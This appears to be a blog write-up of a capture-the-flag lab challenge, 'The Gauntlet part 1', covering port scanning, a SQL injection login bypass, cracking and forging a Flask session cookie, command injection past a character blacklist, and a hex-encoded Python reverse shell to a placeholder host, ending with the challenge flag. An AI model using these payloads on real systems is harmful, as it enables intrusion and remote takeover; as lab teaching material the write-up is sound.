Lillie

The Gauntlet part 1

So, you think you're a l33t h4xx0r? Alright, here's my little gauntlet to you then: 
Break in through the website and get a shell one way or another. Once that's done, 
escalate your privileges and own the box. 

You won't be needing any fancy kernel exploits or such, this one's all about bad practices 
and misconfigurations. Doesn't sound too hard, now does it? Good luck!

Flag binaries are located at /home/*****/user.flag and /root/root.flag 
the-gauntlet.hkn

Prerequisites

This writeup will be missing the rabbit holes, and other wrong paths I took. I decided to do this to save time so I can write more writeups. I might decide to write a more complete one later, so this will be a writeup in the mind of someone not doing any mistakes. But I’m happy to talk on the discord to discuss the challenge.

Finding ports

There is no website available at the ip we get from the Campfire. So next step is to port scan to figure where to start.

nmap -sV -v the-gauntlet.hkn

The result is back

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.3)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So we have ssh port open at 22 and tcp port at 5000.

Website

When going to the-gauntlet.hkn:5000 we get to a website with following html

...
<body>
    <div class="container">
        <h1>Welcome.</h1>
        <p>This is my small gauntlet to you.</p>
        <p>It's simple: find a way in, get a shell
        <!-- (no flag before that!) -->, escalate your privileges
        <!-- .. a few times .. -->.</p>
        <p>There will be no need for web enumeration
        <!-- (scanning for files/directories, etc.) -->. 
        The steps ahead should be clear to you.</p>
        <p>Once you have a shell on the box, 
        deep enumeration shouldn't be necessary.</p>
        <p>Enjoy.</p>
        <a href="/login">Login</a> |
        <a href="/admin">Admin</a> 
    </div>
</body>
</html>

Login page

We see there are links to a login and admin page. Admin page responds with

Access denied. Admins only.

Login page allows us to input username and password.

We don’t know any accounts, so usually when there is no source code it can be a sign of sql injection.

After looking at sql injection cheatsheets, this worked to login.

' OR 1==1; --

We get following html after logging in

...
<body>
    <div class="container">
        <h1>Welcome Bob!</h1>
        <p>You are a regular user.</p>
        <a href="/logout">Logout</a> |
        <a href="/admin">Admin</a>
    </div>
</body>
</html>

So we are not admin yet.

Flask Session

When looking at requests while logging in, we get a flask session cookie

eyJ1c2VyIjp7ImlzX2FkbWluIjpmYWxzZSwidXNlcm5hbWUiOiJCb2IifX0.Z9VHJQ.-m3orXMcfEzMkMWdElSF0LcclfY

Putting the token into jwt.io we get the following decoded header

{
  "user": {
    "is_admin": false,
    "username": "Bob"
  }
}

So knowing the code had a sql injection, it could be possible for the secret being weak.

flask-unsign is a known tool that makes cracking this easier.

I download rockyou.txt as it’s a low hanging fruit password list and try it out with the unsign option.

flask-unsign --unsign --cookie \
"eyJ1c2VyIjp7ImlzX2FkbWluIjpmYWxzZSwidXNlcm5hbWUiOiJCb2IifX0.Z9VHJQ.-m3orXMcfEzMkMWdElSF0LcclfY" \
--no-literal-eval --wordlist rockyou.txt 

We then get back

[*] Session decodes to: {'user': {'is_admin': False, 'username': 'Bob'}}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 11264 attempts
b'itsasecret'

We can use the secret to create our own token that works with the website.

flask-unsign --sign --cookie "{'user': {'is_admin': True, 'username': 'Bob'}}" --secret 'itsasecret'

this generated the token

eyJ1c2VyIjp7ImlzX2FkbWluIjp0cnVlLCJ1c2VybmFtZSI6IkJvYiJ9fQ.Z9VLGA.Y36X4rBlVwVDoXUAMsUjGnkI-GM

Remote Code Execution

and we can then login as the admin by replacing our session token with the token we in previous section

...
<body>
    <div class="container">
        <h2>Admin Page</h2>
        <pre></pre>
        <form method="post">
            Host check: <input type="text" name="command" value="127.0.0.1"><br>
            <input type="submit" value="Submit">
        </form>
    </div>
</body>
</html>

When we try to submit we get the following output back in the html

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.032 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.032/0.032/0.032/0.000 ms

This looks like a result of a ping command, so next step seems to do a command injection to get access to the box.

Trying out different escape sequences reveals there is a blacklist of characters. Quick example is submitting a ; results in following message

Illegal characters detected!

I found that $(whoami) works and gives us the error

ping: user1: Name or service not known

Space is also banned, but ${IFS} works as an alternative to space.

I decided to use python3 and decoding hex to get a reverse shell


$(python3${IFS}-c${IFS}'exec(bytes.fromhex("696d706f7274206f732c7074792c736f636b65743b733d736f636b65742e736f636b657428293b732e636f6e6e656374282822782e782e782e78222c313530343329293b5b6f732e6475703228732e66696c656e6f28292c6629666f72206620696e28302c312c32295d3b7074792e737061776e2822626173682229").decode())')

The bytes from hex is following code

import os,pty,socket;s=socket.socket();s.connect(("x.x.x.x",15043));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

Where x.x.x.x needs to be your ip either found in the browser lab, or vpn settings.

I open up a reverse proxy listener with following command

ncat -lvnp 15043

after sending the command I get access to the shell.

Flag

We run the command ./user.flag and get the flag for part 1

DDC{n0th1ng_l1k3_4_b1t_0f_RCE}

The challenge continues with part 2.

The Gauntlet part 1
: LillieFox
https://lillie.sh/blog/misc/the-gauntlet-p1/
© 2025 LillieFox . All rights reserved.